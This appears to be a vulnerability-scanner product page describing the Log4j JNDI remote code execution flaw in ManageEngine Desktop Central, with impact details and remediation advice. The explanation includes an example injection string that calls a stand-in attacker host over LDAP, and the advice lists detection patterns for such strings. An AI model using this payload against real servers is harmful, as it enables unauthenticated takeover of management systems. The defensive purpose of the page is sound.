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critical·Product Based Network Vulnerabilities·Updated Oct 8, 2024

Manage Engine Desktop Central Remote Code Execution Scanner

Targets the Log4j JNDI injection endpoint in Manage Engine Desktop Central, allowing unauthenticated attackers to execute arbitrary code remotely.

Est. Time~10 seconds
Scan TypeSingle Scan
Targetsdomain, ipv4, subdomain
CostFree
0
Times Used
by S4E users
0
Assets Scanned
domains & IPs
0
Vulnerabilities Found
confirmed findings
References
Detail

Manage Engine Desktop Central is a comprehensive Unified Endpoint Management (UEM) and security suite utilized by IT administrators and network managers to oversee diverse network devices, including servers, desktops, laptops, tablets, and smartphones. It facilitates remote management, software deployment, patch management, asset management, and more, streamlining IT processes efficiently. The suite is widely leveraged in corporate, educational, and governmental sectors for its robust capabilities in ensuring device compliance and security.

The vulnerability identified is a Remote Code Execution (RCE) flaw linked to Apache Log4j. This critical security issue enables attackers to exploit JNDI features for executing arbitrary code. Given the ubiquitous use of Log4j for logging, the vulnerability is prolific across numerous applications worldwide. Attackers can craft malicious LDAP or RMI requests to trigger code execution without authentication.

Specifically, the vulnerability resides in the Log4j library used by Manage Engine Desktop Central for logging user input. The vulnerable endpoint is typically the login or data submission interface where user-supplied data is logged. By injecting a JNDI lookup string like ${jndi:ldap://attacker.com/a}, an attacker can force the server to load and execute remote code.

If exploited, an attacker can gain full remote control over the affected Manage Engine Desktop Central server. This can lead to data exfiltration, lateral movement within the network, installation of malware, and complete compromise of endpoint management infrastructure. The CVSS score of 10.0 indicates maximum severity, requiring immediate remediation.

Solution Advice
  • Immediately apply the latest security patches from Manage Engine to address the Log4j vulnerability.
  • Upgrade Apache Log4j to version 2.17.1 or later, which mitigates the JNDI injection flaw.
  • Disable JNDI lookups in Log4j by setting the system property log4j2.enableJndiLookup=false.
  • Implement network segmentation to isolate the Desktop Central server from untrusted networks.
  • Deploy a Web Application Firewall (WAF) with rules to block JNDI injection payloads.
  • Regularly monitor logs for suspicious patterns such as ${jndi: or ldap:// in user input fields.
  • Restrict outbound traffic from the server to prevent LDAP/RMI connections to external hosts.
  • Conduct a thorough security audit to ensure no backdoors or persistence mechanisms were installed.

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